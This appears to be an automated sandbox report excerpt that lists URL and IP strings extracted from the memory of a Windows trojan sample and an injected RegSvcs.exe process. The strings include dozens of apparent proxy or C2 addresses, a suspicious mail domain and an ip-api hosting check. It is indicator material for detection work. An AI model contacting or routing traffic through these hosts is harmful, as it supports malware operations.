Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://95.70.220.173:4153
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://95.70.220.173:4153://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://95.81.87.148:8080
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://95.81.87.148:8080://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://95.87.30.11:8080
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://95.87.30.11:8080://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C64DA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://96.113.158.126
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C64DA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://96.113.158.126://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CBCE5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://96.113.159.162
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CC5FF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://96.113.159.162://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CC5FF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://96.113.159.162:80
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://96.114.36.9
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://96.114.36.9://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB125000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://96.114.36.9:80
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C677C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://96.36.50.99:39593
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C677C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://96.36.50.99:39593://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CCD0D000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://96.70.52.227:48324
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://96.70.52.227:48324://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://96.80.235.1:8080
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://96.80.235.1:8080://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6A99000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CD140000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://96.9.77.71:51080
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CBCFC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://96.9.77.71:51080://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://96.9.86.70:53304
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://96.9.86.70:53304://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://97.74.233.206:30201
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://97.74.233.206:30201://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CD140000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://97.79.238.251:32016
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CD140000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://97.79.238.251:32016://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6F32000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://97.79.238.253:5699
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6F32000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://97.79.238.253:5699://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C759F000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C715C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://97.79.238.65:48576
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C715C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://97.79.238.65:48576://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://98.162.25.23:4145
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://98.162.25.23:4145://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CA2DA000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C853A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://98.162.25.29:31679
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CA2DA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://98.162.25.29:31679://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://98.162.25.4:31654
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://98.162.25.4:31654://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB125000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://98.162.25.7:31653
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB125000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://98.162.25.7:31653://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://98.170.57.249:4145
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://98.170.57.249:4145://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C9FF6000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6DCD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://98.175.31.195:4145
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C9FF6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://98.175.31.195:4145://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://98.178.72.21:10919
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://98.178.72.21:10919://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CCD0D000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CD07F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://98.181.137.80:4145
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CCD0D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://98.181.137.80:4145://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://98.181.137.83:4145
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://98.181.137.83:4145://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C68A1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://98.188.47.132:4145
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C68A1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://98.188.47.132:4145://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6480000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C677C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://98.188.47.150:4145
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6480000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://98.188.47.150:4145://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6A99000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://99.26.234.177:5678
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6A99000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://99.26.234.177:5678://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://99.62.41.65:3126
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://99.62.41.65:3126://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CA62F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl.pki.goog/gsr1/gsr1.crl0;
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl.pki.goog/gtsr1/gtsr1.crl0M
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CA67B000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB346000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C759F000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CCD0D000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6577000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C9FF6000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C8F8D000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CA2DA000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CBFA6000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CBFD8000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6F32000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C8E21000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB125000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C9267000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C68A1000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C65B5000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CBA8A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crls.pki.goog/gts1p5/0jT46UX4DmY.crl0
Source: 77EC63BDA74BD0D0E0426DC8F80085060.0.dr	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7EE4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://heygirlisheeverythingyouwantedinaman.com:443
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C90FE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://html5shiv.googlecode.com/svn/trunk/html5.js
Source: RegSvcs.exe, 00000004.00000002.2764598895.0000000002C41000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ip-api.com
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.2049795050.00000194D9427000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.2049795050.00000194D80E6000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000004.00000002.2757087631.0000000000402000.00000040.00000400.00020000.00000000.sdmp, RegSvcs.exe, 00000004.00000002.2762933530.00000000010C1000.00000004.00000020.00020000.00000000.sdmp, RegSvcs.exe, 00000004.00000002.2764598895.0000000002C41000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ip-api.com/line/?fields=hosting
Source: RegSvcs.exe, 00000004.00000002.2764598895.0000000002CA4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mail.supplyvan.xyz
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.pki.goog/gtsr100
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CA67B000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB346000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C759F000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CCD0D000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6577000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C9FF6000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C8F8D000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CA2DA000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CBFA6000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CBFD8000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6F32000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C8E21000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB125000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C9267000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C68A1000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C65B5000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CBA8A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.pki.goog/s/gts1p5/uFgUyufpvHQ01
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CA67B000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB346000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C759F000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CCD0D000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6577000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C9FF6000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C8F8D000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CA2DA000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CBFA6000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CBFD8000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6F32000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C8E21000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB125000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C9267000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C68A1000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C65B5000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CBA8A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://pki.goog/repo/certs/gts1p5.der0_
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://pki.goog/repo/certs/gtsr1.der04
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.2049795050.00000194D6315000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schema.org/SoftwareSourceCode
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6231000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000004.00000002.2764598895.0000000002C41000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CAFF3000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C8005000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7905000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB0C6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.freecsstemplates.org
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C90FE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.froxlor.org/
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.2049795050.00000194D9427000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.2049795050.00000194D80E6000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000004.00000002.2757087631.0000000000402000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://account.dyn.com/
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7EE4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ajax.googleapis.com/ajax/libs/jquery/3.6.0/jquery.min.js
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.2049795050.00000194D6315000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.github.com/_private/browser/errors
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.2049795050.00000194D6315000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.github.com/_private/browser/stats
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.2049795050.00000194D6315000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://avatars.githubusercontent.com
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7EE4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdn.jsdelivr.net/npm/bootstrap
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C84CB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdnjs.cloudflare.com/ajax/libs/jqueryui/1.12.1/themes/flick/jquery-ui.min.css
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C84CB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdnjs.cloudflare.com/ajax/libs/xlsx/0.18.5/xlsx.full.min.js
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.2049795050.00000194D6315000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://collector.github.com/github/collect
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.2049795050.00000194D6397000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://desktop.github.com
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.2049795050.00000194D6397000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.github.com
